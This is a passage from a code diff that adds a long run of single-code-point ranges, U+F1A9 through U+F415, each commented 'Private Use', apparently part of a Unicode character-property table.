+ [0xf1a9, 0xf1a9], /* Private Use */
+ [0xf1aa, 0xf1aa], /* Private Use */
+ [0xf1ab, 0xf1ab], /* Private Use */
+ [0xf1ac, 0xf1ac], /* Private Use */
+ [0xf1ad, 0xf1ad], /* Private Use */
+ [0xf1ae, 0xf1ae], /* Private Use */
+ [0xf1af, 0xf1af], /* Private Use */
+ [0xf1b0, 0xf1b0], /* Private Use */
+ [0xf1b1, 0xf1b1], /* Private Use */
+ [0xf1b2, 0xf1b2], /* Private Use */
+ [0xf1b3, 0xf1b3], /* Private Use */
+ [0xf1b4, 0xf1b4], /* Private Use */
+ [0xf1b5, 0xf1b5], /* Private Use */
+ [0xf1b6, 0xf1b6], /* Private Use */
+ [0xf1b7, 0xf1b7], /* Private Use */
+ [0xf1b8, 0xf1b8], /* Private Use */
+ [0xf1b9, 0xf1b9], /* Private Use */
+ [0xf1ba, 0xf1ba], /* Private Use */
+ [0xf1bb, 0xf1bb], /* Private Use */
+ [0xf1bc, 0xf1bc], /* Private Use */
+ [0xf1bd, 0xf1bd], /* Private Use */
+ [0xf1be, 0xf1be], /* Private Use */
+ [0xf1bf, 0xf1bf], /* Private Use */
+ [0xf1c0, 0xf1c0], /* Private Use */
+ [0xf1c1, 0xf1c1], /* Private Use */
+ [0xf1c2, 0xf1c2], /* Private Use */
+ [0xf1c3, 0xf1c3], /* Private Use */
+ [0xf1c4, 0xf1c4], /* Private Use */
+ [0xf1c5, 0xf1c5], /* Private Use */
+ [0xf1c6, 0xf1c6], /* Private Use */
+ [0xf1c7, 0xf1c7], /* Private Use */
+ [0xf1c8, 0xf1c8], /* Private Use */
+ [0xf1c9, 0xf1c9], /* Private Use */
+ [0xf1ca, 0xf1ca], /* Private Use */
+ [0xf1cb, 0xf1cb], /* Private Use */
+ [0xf1cc, 0xf1cc], /* Private Use */
+ [0xf1cd, 0xf1cd], /* Private Use */
+ [0xf1ce, 0xf1ce], /* Private Use */
+ [0xf1cf, 0xf1cf], /* Private Use */
+ [0xf1d0, 0xf1d0], /* Private Use */
+ [0xf1d1, 0xf1d1], /* Private Use */
+ [0xf1d2, 0xf1d2], /* Private Use */
+ [0xf1d3, 0xf1d3], /* Private Use */
+ [0xf1d4, 0xf1d4], /* Private Use */
+ [0xf1d5, 0xf1d5], /* Private Use */
+ [0xf1d6, 0xf1d6], /* Private Use */
+ [0xf1d7, 0xf1d7], /* Private Use */
+ [0xf1d8, 0xf1d8], /* Private Use */
+ [0xf1d9, 0xf1d9], /* Private Use */
+ [0xf1da, 0xf1da], /* Private Use */
+ [0xf1db, 0xf1db], /* Private Use */
+ [0xf1dc, 0xf1dc], /* Private Use */
+ [0xf1dd, 0xf1dd], /* Private Use */
+ [0xf1de, 0xf1de], /* Private Use */
+ [0xf1df, 0xf1df], /* Private Use */
+ [0xf1e0, 0xf1e0], /* Private Use */
+ [0xf1e1, 0xf1e1], /* Private Use */
+ [0xf1e2, 0xf1e2], /* Private Use */
+ [0xf1e3, 0xf1e3], /* Private Use */
+ [0xf1e4, 0xf1e4], /* Private Use */
+ [0xf1e5, 0xf1e5], /* Private Use */
+ [0xf1e6, 0xf1e6], /* Private Use */
+ [0xf1e7, 0xf1e7], /* Private Use */
+ [0xf1e8, 0xf1e8], /* Private Use */
+ [0xf1e9, 0xf1e9], /* Private Use */
+ [0xf1ea, 0xf1ea], /* Private Use */
+ [0xf1eb, 0xf1eb], /* Private Use */
+ [0xf1ec, 0xf1ec], /* Private Use */
+ [0xf1ed, 0xf1ed], /* Private Use */
+ [0xf1ee, 0xf1ee], /* Private Use */
+ [0xf1ef, 0xf1ef], /* Private Use */
+ [0xf1f0, 0xf1f0], /* Private Use */
+ [0xf1f1, 0xf1f1], /* Private Use */
+ [0xf1f2, 0xf1f2], /* Private Use */
+ [0xf1f3, 0xf1f3], /* Private Use */
+ [0xf1f4, 0xf1f4], /* Private Use */
+ [0xf1f5, 0xf1f5], /* Private Use */
+ [0xf1f6, 0xf1f6], /* Private Use */
+ [0xf1f7, 0xf1f7], /* Private Use */
+ [0xf1f8, 0xf1f8], /* Private Use */
+ [0xf1f9, 0xf1f9], /* Private Use */
+ [0xf1fa, 0xf1fa], /* Private Use */
+ [0xf1fb, 0xf1fb], /* Private Use */
+ [0xf1fc, 0xf1fc], /* Private Use */
+ [0xf1fd, 0xf1fd], /* Private Use */
+ [0xf1fe, 0xf1fe], /* Private Use */
+ [0xf1ff, 0xf1ff], /* Private Use */
+ [0xf200, 0xf200], /* Private Use */
+ [0xf201, 0xf201], /* Private Use */
+ [0xf202, 0xf202], /* Private Use */
+ [0xf203, 0xf203], /* Private Use */
+ [0xf204, 0xf204], /* Private Use */
+ [0xf205, 0xf205], /* Private Use */
+ [0xf206, 0xf206], /* Private Use */
+ [0xf207, 0xf207], /* Private Use */
+ [0xf208, 0xf208], /* Private Use */
+ [0xf209, 0xf209], /* Private Use */
+ [0xf20a, 0xf20a], /* Private Use */
+ [0xf20b, 0xf20b], /* Private Use */
+ [0xf20c, 0xf20c], /* Private Use */
+ [0xf20d, 0xf20d], /* Private Use */
+ [0xf20e, 0xf20e], /* Private Use */
+ [0xf20f, 0xf20f], /* Private Use */
+ [0xf210, 0xf210], /* Private Use */
+ [0xf211, 0xf211], /* Private Use */
+ [0xf212, 0xf212], /* Private Use */
+ [0xf213, 0xf213], /* Private Use */
+ [0xf214, 0xf214], /* Private Use */
+ [0xf215, 0xf215], /* Private Use */
+ [0xf216, 0xf216], /* Private Use */
+ [0xf217, 0xf217], /* Private Use */
+ [0xf218, 0xf218], /* Private Use */
+ [0xf219, 0xf219], /* Private Use */
+ [0xf21a, 0xf21a], /* Private Use */
+ [0xf21b, 0xf21b], /* Private Use */
+ [0xf21c, 0xf21c], /* Private Use */
+ [0xf21d, 0xf21d], /* Private Use */
+ [0xf21e, 0xf21e], /* Private Use */
+ [0xf21f, 0xf21f], /* Private Use */
+ [0xf220, 0xf220], /* Private Use */
+ [0xf221, 0xf221], /* Private Use */
+ [0xf222, 0xf222], /* Private Use */
+ [0xf223, 0xf223], /* Private Use */
+ [0xf224, 0xf224], /* Private Use */
+ [0xf225, 0xf225], /* Private Use */
+ [0xf226, 0xf226], /* Private Use */
+ [0xf227, 0xf227], /* Private Use */
+ [0xf228, 0xf228], /* Private Use */
+ [0xf229, 0xf229], /* Private Use */
+ [0xf22a, 0xf22a], /* Private Use */
+ [0xf22b, 0xf22b], /* Private Use */
+ [0xf22c, 0xf22c], /* Private Use */
+ [0xf22d, 0xf22d], /* Private Use */
+ [0xf22e, 0xf22e], /* Private Use */
+ [0xf22f, 0xf22f], /* Private Use */
+ [0xf230, 0xf230], /* Private Use */
+ [0xf231, 0xf231], /* Private Use */
+ [0xf232, 0xf232], /* Private Use */
+ [0xf233, 0xf233], /* Private Use */
+ [0xf234, 0xf234], /* Private Use */
+ [0xf235, 0xf235], /* Private Use */
+ [0xf236, 0xf236], /* Private Use */
+ [0xf237, 0xf237], /* Private Use */
+ [0xf238, 0xf238], /* Private Use */
+ [0xf239, 0xf239], /* Private Use */
+ [0xf23a, 0xf23a], /* Private Use */
+ [0xf23b, 0xf23b], /* Private Use */
+ [0xf23c, 0xf23c], /* Private Use */
+ [0xf23d, 0xf23d], /* Private Use */
+ [0xf23e, 0xf23e], /* Private Use */
+ [0xf23f, 0xf23f], /* Private Use */
+ [0xf240, 0xf240], /* Private Use */
+ [0xf241, 0xf241], /* Private Use */
+ [0xf242, 0xf242], /* Private Use */
+ [0xf243, 0xf243], /* Private Use */
+ [0xf244, 0xf244], /* Private Use */
+ [0xf245, 0xf245], /* Private Use */
+ [0xf246, 0xf246], /* Private Use */
+ [0xf247, 0xf247], /* Private Use */
+ [0xf248, 0xf248], /* Private Use */
+ [0xf249, 0xf249], /* Private Use */
+ [0xf24a, 0xf24a], /* Private Use */
+ [0xf24b, 0xf24b], /* Private Use */
+ [0xf24c, 0xf24c], /* Private Use */
+ [0xf24d, 0xf24d], /* Private Use */
+ [0xf24e, 0xf24e], /* Private Use */
+ [0xf24f, 0xf24f], /* Private Use */
+ [0xf250, 0xf250], /* Private Use */
+ [0xf251, 0xf251], /* Private Use */
+ [0xf252, 0xf252], /* Private Use */
+ [0xf253, 0xf253], /* Private Use */
+ [0xf254, 0xf254], /* Private Use */
+ [0xf255, 0xf255], /* Private Use */
+ [0xf256, 0xf256], /* Private Use */
+ [0xf257, 0xf257], /* Private Use */
+ [0xf258, 0xf258], /* Private Use */
+ [0xf259, 0xf259], /* Private Use */
+ [0xf25a, 0xf25a], /* Private Use */
+ [0xf25b, 0xf25b], /* Private Use */
+ [0xf25c, 0xf25c], /* Private Use */
+ [0xf25d, 0xf25d], /* Private Use */
+ [0xf25e, 0xf25e], /* Private Use */
+ [0xf25f, 0xf25f], /* Private Use */
+ [0xf260, 0xf260], /* Private Use */
+ [0xf261, 0xf261], /* Private Use */
+ [0xf262, 0xf262], /* Private Use */
+ [0xf263, 0xf263], /* Private Use */
+ [0xf264, 0xf264], /* Private Use */
+ [0xf265, 0xf265], /* Private Use */
+ [0xf266, 0xf266], /* Private Use */
+ [0xf267, 0xf267], /* Private Use */
+ [0xf268, 0xf268], /* Private Use */
+ [0xf269, 0xf269], /* Private Use */
+ [0xf26a, 0xf26a], /* Private Use */
+ [0xf26b, 0xf26b], /* Private Use */
+ [0xf26c, 0xf26c], /* Private Use */
+ [0xf26d, 0xf26d], /* Private Use */
+ [0xf26e, 0xf26e], /* Private Use */
+ [0xf26f, 0xf26f], /* Private Use */
+ [0xf270, 0xf270], /* Private Use */
+ [0xf271, 0xf271], /* Private Use */
+ [0xf272, 0xf272], /* Private Use */
+ [0xf273, 0xf273], /* Private Use */
+ [0xf274, 0xf274], /* Private Use */
+ [0xf275, 0xf275], /* Private Use */
+ [0xf276, 0xf276], /* Private Use */
+ [0xf277, 0xf277], /* Private Use */
+ [0xf278, 0xf278], /* Private Use */
+ [0xf279, 0xf279], /* Private Use */
+ [0xf27a, 0xf27a], /* Private Use */
+ [0xf27b, 0xf27b], /* Private Use */
+ [0xf27c, 0xf27c], /* Private Use */
+ [0xf27d, 0xf27d], /* Private Use */
+ [0xf27e, 0xf27e], /* Private Use */
+ [0xf27f, 0xf27f], /* Private Use */
+ [0xf280, 0xf280], /* Private Use */
+ [0xf281, 0xf281], /* Private Use */
+ [0xf282, 0xf282], /* Private Use */
+ [0xf283, 0xf283], /* Private Use */
+ [0xf284, 0xf284], /* Private Use */
+ [0xf285, 0xf285], /* Private Use */
+ [0xf286, 0xf286], /* Private Use */
+ [0xf287, 0xf287], /* Private Use */
+ [0xf288, 0xf288], /* Private Use */
+ [0xf289, 0xf289], /* Private Use */
+ [0xf28a, 0xf28a], /* Private Use */
+ [0xf28b, 0xf28b], /* Private Use */
+ [0xf28c, 0xf28c], /* Private Use */
+ [0xf28d, 0xf28d], /* Private Use */
+ [0xf28e, 0xf28e], /* Private Use */
+ [0xf28f, 0xf28f], /* Private Use */
+ [0xf290, 0xf290], /* Private Use */
+ [0xf291, 0xf291], /* Private Use */
+ [0xf292, 0xf292], /* Private Use */
+ [0xf293, 0xf293], /* Private Use */
+ [0xf294, 0xf294], /* Private Use */
+ [0xf295, 0xf295], /* Private Use */
+ [0xf296, 0xf296], /* Private Use */
+ [0xf297, 0xf297], /* Private Use */
+ [0xf298, 0xf298], /* Private Use */
+ [0xf299, 0xf299], /* Private Use */
+ [0xf29a, 0xf29a], /* Private Use */
+ [0xf29b, 0xf29b], /* Private Use */
+ [0xf29c, 0xf29c], /* Private Use */
+ [0xf29d, 0xf29d], /* Private Use */
+ [0xf29e, 0xf29e], /* Private Use */
+ [0xf29f, 0xf29f], /* Private Use */
+ [0xf2a0, 0xf2a0], /* Private Use */
+ [0xf2a1, 0xf2a1], /* Private Use */
+ [0xf2a2, 0xf2a2], /* Private Use */
+ [0xf2a3, 0xf2a3], /* Private Use */
+ [0xf2a4, 0xf2a4], /* Private Use */
+ [0xf2a5, 0xf2a5], /* Private Use */
+ [0xf2a6, 0xf2a6], /* Private Use */
+ [0xf2a7, 0xf2a7], /* Private Use */
+ [0xf2a8, 0xf2a8], /* Private Use */
+ [0xf2a9, 0xf2a9], /* Private Use */
+ [0xf2aa, 0xf2aa], /* Private Use */
+ [0xf2ab, 0xf2ab], /* Private Use */
+ [0xf2ac, 0xf2ac], /* Private Use */
+ [0xf2ad, 0xf2ad], /* Private Use */
+ [0xf2ae, 0xf2ae], /* Private Use */
+ [0xf2af, 0xf2af], /* Private Use */
+ [0xf2b0, 0xf2b0], /* Private Use */
+ [0xf2b1, 0xf2b1], /* Private Use */
+ [0xf2b2, 0xf2b2], /* Private Use */
+ [0xf2b3, 0xf2b3], /* Private Use */
+ [0xf2b4, 0xf2b4], /* Private Use */
+ [0xf2b5, 0xf2b5], /* Private Use */
+ [0xf2b6, 0xf2b6], /* Private Use */
+ [0xf2b7, 0xf2b7], /* Private Use */
+ [0xf2b8, 0xf2b8], /* Private Use */
+ [0xf2b9, 0xf2b9], /* Private Use */
+ [0xf2ba, 0xf2ba], /* Private Use */
+ [0xf2bb, 0xf2bb], /* Private Use */
+ [0xf2bc, 0xf2bc], /* Private Use */
+ [0xf2bd, 0xf2bd], /* Private Use */
+ [0xf2be, 0xf2be], /* Private Use */
+ [0xf2bf, 0xf2bf], /* Private Use */
+ [0xf2c0, 0xf2c0], /* Private Use */
+ [0xf2c1, 0xf2c1], /* Private Use */
+ [0xf2c2, 0xf2c2], /* Private Use */
+ [0xf2c3, 0xf2c3], /* Private Use */
+ [0xf2c4, 0xf2c4], /* Private Use */
+ [0xf2c5, 0xf2c5], /* Private Use */
+ [0xf2c6, 0xf2c6], /* Private Use */
+ [0xf2c7, 0xf2c7], /* Private Use */
+ [0xf2c8, 0xf2c8], /* Private Use */
+ [0xf2c9, 0xf2c9], /* Private Use */
+ [0xf2ca, 0xf2ca], /* Private Use */
+ [0xf2cb, 0xf2cb], /* Private Use */
+ [0xf2cc, 0xf2cc], /* Private Use */
+ [0xf2cd, 0xf2cd], /* Private Use */
+ [0xf2ce, 0xf2ce], /* Private Use */
+ [0xf2cf, 0xf2cf], /* Private Use */
+ [0xf2d0, 0xf2d0], /* Private Use */
+ [0xf2d1, 0xf2d1], /* Private Use */
+ [0xf2d2, 0xf2d2], /* Private Use */
+ [0xf2d3, 0xf2d3], /* Private Use */
+ [0xf2d4, 0xf2d4], /* Private Use */
+ [0xf2d5, 0xf2d5], /* Private Use */
+ [0xf2d6, 0xf2d6], /* Private Use */
+ [0xf2d7, 0xf2d7], /* Private Use */
+ [0xf2d8, 0xf2d8], /* Private Use */
+ [0xf2d9, 0xf2d9], /* Private Use */
+ [0xf2da, 0xf2da], /* Private Use */
+ [0xf2db, 0xf2db], /* Private Use */
+ [0xf2dc, 0xf2dc], /* Private Use */
+ [0xf2dd, 0xf2dd], /* Private Use */
+ [0xf2de, 0xf2de], /* Private Use */
+ [0xf2df, 0xf2df], /* Private Use */
+ [0xf2e0, 0xf2e0], /* Private Use */
+ [0xf2e1, 0xf2e1], /* Private Use */
+ [0xf2e2, 0xf2e2], /* Private Use */
+ [0xf2e3, 0xf2e3], /* Private Use */
+ [0xf2e4, 0xf2e4], /* Private Use */
+ [0xf2e5, 0xf2e5], /* Private Use */
+ [0xf2e6, 0xf2e6], /* Private Use */
+ [0xf2e7, 0xf2e7], /* Private Use */
+ [0xf2e8, 0xf2e8], /* Private Use */
+ [0xf2e9, 0xf2e9], /* Private Use */
+ [0xf2ea, 0xf2ea], /* Private Use */
+ [0xf2eb, 0xf2eb], /* Private Use */
+ [0xf2ec, 0xf2ec], /* Private Use */
+ [0xf2ed, 0xf2ed], /* Private Use */
+ [0xf2ee, 0xf2ee], /* Private Use */
+ [0xf2ef, 0xf2ef], /* Private Use */
+ [0xf2f0, 0xf2f0], /* Private Use */
+ [0xf2f1, 0xf2f1], /* Private Use */
+ [0xf2f2, 0xf2f2], /* Private Use */
+ [0xf2f3, 0xf2f3], /* Private Use */
+ [0xf2f4, 0xf2f4], /* Private Use */
+ [0xf2f5, 0xf2f5], /* Private Use */
+ [0xf2f6, 0xf2f6], /* Private Use */
+ [0xf2f7, 0xf2f7], /* Private Use */
+ [0xf2f8, 0xf2f8], /* Private Use */
+ [0xf2f9, 0xf2f9], /* Private Use */
+ [0xf2fa, 0xf2fa], /* Private Use */
+ [0xf2fb, 0xf2fb], /* Private Use */
+ [0xf2fc, 0xf2fc], /* Private Use */
+ [0xf2fd, 0xf2fd], /* Private Use */
+ [0xf2fe, 0xf2fe], /* Private Use */
+ [0xf2ff, 0xf2ff], /* Private Use */
+ [0xf300, 0xf300], /* Private Use */
+ [0xf301, 0xf301], /* Private Use */
+ [0xf302, 0xf302], /* Private Use */
+ [0xf303, 0xf303], /* Private Use */
+ [0xf304, 0xf304], /* Private Use */
+ [0xf305, 0xf305], /* Private Use */
+ [0xf306, 0xf306], /* Private Use */
+ [0xf307, 0xf307], /* Private Use */
+ [0xf308, 0xf308], /* Private Use */
+ [0xf309, 0xf309], /* Private Use */
+ [0xf30a, 0xf30a], /* Private Use */
+ [0xf30b, 0xf30b], /* Private Use */
+ [0xf30c, 0xf30c], /* Private Use */
+ [0xf30d, 0xf30d], /* Private Use */
+ [0xf30e, 0xf30e], /* Private Use */
+ [0xf30f, 0xf30f], /* Private Use */
+ [0xf310, 0xf310], /* Private Use */
+ [0xf311, 0xf311], /* Private Use */
+ [0xf312, 0xf312], /* Private Use */
+ [0xf313, 0xf313], /* Private Use */
+ [0xf314, 0xf314], /* Private Use */
+ [0xf315, 0xf315], /* Private Use */
+ [0xf316, 0xf316], /* Private Use */
+ [0xf317, 0xf317], /* Private Use */
+ [0xf318, 0xf318], /* Private Use */
+ [0xf319, 0xf319], /* Private Use */
+ [0xf31a, 0xf31a], /* Private Use */
+ [0xf31b, 0xf31b], /* Private Use */
+ [0xf31c, 0xf31c], /* Private Use */
+ [0xf31d, 0xf31d], /* Private Use */
+ [0xf31e, 0xf31e], /* Private Use */
+ [0xf31f, 0xf31f], /* Private Use */
+ [0xf320, 0xf320], /* Private Use */
+ [0xf321, 0xf321], /* Private Use */
+ [0xf322, 0xf322], /* Private Use */
+ [0xf323, 0xf323], /* Private Use */
+ [0xf324, 0xf324], /* Private Use */
+ [0xf325, 0xf325], /* Private Use */
+ [0xf326, 0xf326], /* Private Use */
+ [0xf327, 0xf327], /* Private Use */
+ [0xf328, 0xf328], /* Private Use */
+ [0xf329, 0xf329], /* Private Use */
+ [0xf32a, 0xf32a], /* Private Use */
+ [0xf32b, 0xf32b], /* Private Use */
+ [0xf32c, 0xf32c], /* Private Use */
+ [0xf32d, 0xf32d], /* Private Use */
+ [0xf32e, 0xf32e], /* Private Use */
+ [0xf32f, 0xf32f], /* Private Use */
+ [0xf330, 0xf330], /* Private Use */
+ [0xf331, 0xf331], /* Private Use */
+ [0xf332, 0xf332], /* Private Use */
+ [0xf333, 0xf333], /* Private Use */
+ [0xf334, 0xf334], /* Private Use */
+ [0xf335, 0xf335], /* Private Use */
+ [0xf336, 0xf336], /* Private Use */
+ [0xf337, 0xf337], /* Private Use */
+ [0xf338, 0xf338], /* Private Use */
+ [0xf339, 0xf339], /* Private Use */
+ [0xf33a, 0xf33a], /* Private Use */
+ [0xf33b, 0xf33b], /* Private Use */
+ [0xf33c, 0xf33c], /* Private Use */
+ [0xf33d, 0xf33d], /* Private Use */
+ [0xf33e, 0xf33e], /* Private Use */
+ [0xf33f, 0xf33f], /* Private Use */
+ [0xf340, 0xf340], /* Private Use */
+ [0xf341, 0xf341], /* Private Use */
+ [0xf342, 0xf342], /* Private Use */
+ [0xf343, 0xf343], /* Private Use */
+ [0xf344, 0xf344], /* Private Use */
+ [0xf345, 0xf345], /* Private Use */
+ [0xf346, 0xf346], /* Private Use */
+ [0xf347, 0xf347], /* Private Use */
+ [0xf348, 0xf348], /* Private Use */
+ [0xf349, 0xf349], /* Private Use */
+ [0xf34a, 0xf34a], /* Private Use */
+ [0xf34b, 0xf34b], /* Private Use */
+ [0xf34c, 0xf34c], /* Private Use */
+ [0xf34d, 0xf34d], /* Private Use */
+ [0xf34e, 0xf34e], /* Private Use */
+ [0xf34f, 0xf34f], /* Private Use */
+ [0xf350, 0xf350], /* Private Use */
+ [0xf351, 0xf351], /* Private Use */
+ [0xf352, 0xf352], /* Private Use */
+ [0xf353, 0xf353], /* Private Use */
+ [0xf354, 0xf354], /* Private Use */
+ [0xf355, 0xf355], /* Private Use */
+ [0xf356, 0xf356], /* Private Use */
+ [0xf357, 0xf357], /* Private Use */
+ [0xf358, 0xf358], /* Private Use */
+ [0xf359, 0xf359], /* Private Use */
+ [0xf35a, 0xf35a], /* Private Use */
+ [0xf35b, 0xf35b], /* Private Use */
+ [0xf35c, 0xf35c], /* Private Use */
+ [0xf35d, 0xf35d], /* Private Use */
+ [0xf35e, 0xf35e], /* Private Use */
+ [0xf35f, 0xf35f], /* Private Use */
+ [0xf360, 0xf360], /* Private Use */
+ [0xf361, 0xf361], /* Private Use */
+ [0xf362, 0xf362], /* Private Use */
+ [0xf363, 0xf363], /* Private Use */
+ [0xf364, 0xf364], /* Private Use */
+ [0xf365, 0xf365], /* Private Use */
+ [0xf366, 0xf366], /* Private Use */
+ [0xf367, 0xf367], /* Private Use */
+ [0xf368, 0xf368], /* Private Use */
+ [0xf369, 0xf369], /* Private Use */
+ [0xf36a, 0xf36a], /* Private Use */
+ [0xf36b, 0xf36b], /* Private Use */
+ [0xf36c, 0xf36c], /* Private Use */
+ [0xf36d, 0xf36d], /* Private Use */
+ [0xf36e, 0xf36e], /* Private Use */
+ [0xf36f, 0xf36f], /* Private Use */
+ [0xf370, 0xf370], /* Private Use */
+ [0xf371, 0xf371], /* Private Use */
+ [0xf372, 0xf372], /* Private Use */
+ [0xf373, 0xf373], /* Private Use */
+ [0xf374, 0xf374], /* Private Use */
+ [0xf375, 0xf375], /* Private Use */
+ [0xf376, 0xf376], /* Private Use */
+ [0xf377, 0xf377], /* Private Use */
+ [0xf378, 0xf378], /* Private Use */
+ [0xf379, 0xf379], /* Private Use */
+ [0xf37a, 0xf37a], /* Private Use */
+ [0xf37b, 0xf37b], /* Private Use */
+ [0xf37c, 0xf37c], /* Private Use */
+ [0xf37d, 0xf37d], /* Private Use */
+ [0xf37e, 0xf37e], /* Private Use */
+ [0xf37f, 0xf37f], /* Private Use */
+ [0xf380, 0xf380], /* Private Use */
+ [0xf381, 0xf381], /* Private Use */
+ [0xf382, 0xf382], /* Private Use */
+ [0xf383, 0xf383], /* Private Use */
+ [0xf384, 0xf384], /* Private Use */
+ [0xf385, 0xf385], /* Private Use */
+ [0xf386, 0xf386], /* Private Use */
+ [0xf387, 0xf387], /* Private Use */
+ [0xf388, 0xf388], /* Private Use */
+ [0xf389, 0xf389], /* Private Use */
+ [0xf38a, 0xf38a], /* Private Use */
+ [0xf38b, 0xf38b], /* Private Use */
+ [0xf38c, 0xf38c], /* Private Use */
+ [0xf38d, 0xf38d], /* Private Use */
+ [0xf38e, 0xf38e], /* Private Use */
+ [0xf38f, 0xf38f], /* Private Use */
+ [0xf390, 0xf390], /* Private Use */
+ [0xf391, 0xf391], /* Private Use */
+ [0xf392, 0xf392], /* Private Use */
+ [0xf393, 0xf393], /* Private Use */
+ [0xf394, 0xf394], /* Private Use */
+ [0xf395, 0xf395], /* Private Use */
+ [0xf396, 0xf396], /* Private Use */
+ [0xf397, 0xf397], /* Private Use */
+ [0xf398, 0xf398], /* Private Use */
+ [0xf399, 0xf399], /* Private Use */
+ [0xf39a, 0xf39a], /* Private Use */
+ [0xf39b, 0xf39b], /* Private Use */
+ [0xf39c, 0xf39c], /* Private Use */
+ [0xf39d, 0xf39d], /* Private Use */
+ [0xf39e, 0xf39e], /* Private Use */
+ [0xf39f, 0xf39f], /* Private Use */
+ [0xf3a0, 0xf3a0], /* Private Use */
+ [0xf3a1, 0xf3a1], /* Private Use */
+ [0xf3a2, 0xf3a2], /* Private Use */
+ [0xf3a3, 0xf3a3], /* Private Use */
+ [0xf3a4, 0xf3a4], /* Private Use */
+ [0xf3a5, 0xf3a5], /* Private Use */
+ [0xf3a6, 0xf3a6], /* Private Use */
+ [0xf3a7, 0xf3a7], /* Private Use */
+ [0xf3a8, 0xf3a8], /* Private Use */
+ [0xf3a9, 0xf3a9], /* Private Use */
+ [0xf3aa, 0xf3aa], /* Private Use */
+ [0xf3ab, 0xf3ab], /* Private Use */
+ [0xf3ac, 0xf3ac], /* Private Use */
+ [0xf3ad, 0xf3ad], /* Private Use */
+ [0xf3ae, 0xf3ae], /* Private Use */
+ [0xf3af, 0xf3af], /* Private Use */
+ [0xf3b0, 0xf3b0], /* Private Use */
+ [0xf3b1, 0xf3b1], /* Private Use */
+ [0xf3b2, 0xf3b2], /* Private Use */
+ [0xf3b3, 0xf3b3], /* Private Use */
+ [0xf3b4, 0xf3b4], /* Private Use */
+ [0xf3b5, 0xf3b5], /* Private Use */
+ [0xf3b6, 0xf3b6], /* Private Use */
+ [0xf3b7, 0xf3b7], /* Private Use */
+ [0xf3b8, 0xf3b8], /* Private Use */
+ [0xf3b9, 0xf3b9], /* Private Use */
+ [0xf3ba, 0xf3ba], /* Private Use */
+ [0xf3bb, 0xf3bb], /* Private Use */
+ [0xf3bc, 0xf3bc], /* Private Use */
+ [0xf3bd, 0xf3bd], /* Private Use */
+ [0xf3be, 0xf3be], /* Private Use */
+ [0xf3bf, 0xf3bf], /* Private Use */
+ [0xf3c0, 0xf3c0], /* Private Use */
+ [0xf3c1, 0xf3c1], /* Private Use */
+ [0xf3c2, 0xf3c2], /* Private Use */
+ [0xf3c3, 0xf3c3], /* Private Use */
+ [0xf3c4, 0xf3c4], /* Private Use */
+ [0xf3c5, 0xf3c5], /* Private Use */
+ [0xf3c6, 0xf3c6], /* Private Use */
+ [0xf3c7, 0xf3c7], /* Private Use */
+ [0xf3c8, 0xf3c8], /* Private Use */
+ [0xf3c9, 0xf3c9], /* Private Use */
+ [0xf3ca, 0xf3ca], /* Private Use */
+ [0xf3cb, 0xf3cb], /* Private Use */
+ [0xf3cc, 0xf3cc], /* Private Use */
+ [0xf3cd, 0xf3cd], /* Private Use */
+ [0xf3ce, 0xf3ce], /* Private Use */
+ [0xf3cf, 0xf3cf], /* Private Use */
+ [0xf3d0, 0xf3d0], /* Private Use */
+ [0xf3d1, 0xf3d1], /* Private Use */
+ [0xf3d2, 0xf3d2], /* Private Use */
+ [0xf3d3, 0xf3d3], /* Private Use */
+ [0xf3d4, 0xf3d4], /* Private Use */
+ [0xf3d5, 0xf3d5], /* Private Use */
+ [0xf3d6, 0xf3d6], /* Private Use */
+ [0xf3d7, 0xf3d7], /* Private Use */
+ [0xf3d8, 0xf3d8], /* Private Use */
+ [0xf3d9, 0xf3d9], /* Private Use */
+ [0xf3da, 0xf3da], /* Private Use */
+ [0xf3db, 0xf3db], /* Private Use */
+ [0xf3dc, 0xf3dc], /* Private Use */
+ [0xf3dd, 0xf3dd], /* Private Use */
+ [0xf3de, 0xf3de], /* Private Use */
+ [0xf3df, 0xf3df], /* Private Use */
+ [0xf3e0, 0xf3e0], /* Private Use */
+ [0xf3e1, 0xf3e1], /* Private Use */
+ [0xf3e2, 0xf3e2], /* Private Use */
+ [0xf3e3, 0xf3e3], /* Private Use */
+ [0xf3e4, 0xf3e4], /* Private Use */
+ [0xf3e5, 0xf3e5], /* Private Use */
+ [0xf3e6, 0xf3e6], /* Private Use */
+ [0xf3e7, 0xf3e7], /* Private Use */
+ [0xf3e8, 0xf3e8], /* Private Use */
+ [0xf3e9, 0xf3e9], /* Private Use */
+ [0xf3ea, 0xf3ea], /* Private Use */
+ [0xf3eb, 0xf3eb], /* Private Use */
+ [0xf3ec, 0xf3ec], /* Private Use */
+ [0xf3ed, 0xf3ed], /* Private Use */
+ [0xf3ee, 0xf3ee], /* Private Use */
+ [0xf3ef, 0xf3ef], /* Private Use */
+ [0xf3f0, 0xf3f0], /* Private Use */
+ [0xf3f1, 0xf3f1], /* Private Use */
+ [0xf3f2, 0xf3f2], /* Private Use */
+ [0xf3f3, 0xf3f3], /* Private Use */
+ [0xf3f4, 0xf3f4], /* Private Use */
+ [0xf3f5, 0xf3f5], /* Private Use */
+ [0xf3f6, 0xf3f6], /* Private Use */
+ [0xf3f7, 0xf3f7], /* Private Use */
+ [0xf3f8, 0xf3f8], /* Private Use */
+ [0xf3f9, 0xf3f9], /* Private Use */
+ [0xf3fa, 0xf3fa], /* Private Use */
+ [0xf3fb, 0xf3fb], /* Private Use */
+ [0xf3fc, 0xf3fc], /* Private Use */
+ [0xf3fd, 0xf3fd], /* Private Use */
+ [0xf3fe, 0xf3fe], /* Private Use */
+ [0xf3ff, 0xf3ff], /* Private Use */
+ [0xf400, 0xf400], /* Private Use */
+ [0xf401, 0xf401], /* Private Use */
+ [0xf402, 0xf402], /* Private Use */
+ [0xf403, 0xf403], /* Private Use */
+ [0xf404, 0xf404], /* Private Use */
+ [0xf405, 0xf405], /* Private Use */
+ [0xf406, 0xf406], /* Private Use */
+ [0xf407, 0xf407], /* Private Use */
+ [0xf408, 0xf408], /* Private Use */
+ [0xf409, 0xf409], /* Private Use */
+ [0xf40a, 0xf40a], /* Private Use */
+ [0xf40b, 0xf40b], /* Private Use */
+ [0xf40c, 0xf40c], /* Private Use */
+ [0xf40d, 0xf40d], /* Private Use */
+ [0xf40e, 0xf40e], /* Private Use */
+ [0xf40f, 0xf40f], /* Private Use */
+ [0xf410, 0xf410], /* Private Use */
+ [0xf411, 0xf411], /* Private Use */
+ [0xf412, 0xf412], /* Private Use */
+ [0xf413, 0xf413], /* Private Use */
+ [0xf414, 0xf414], /* Private Use */
+ [0xf415, 0xf415], /* Private Use */
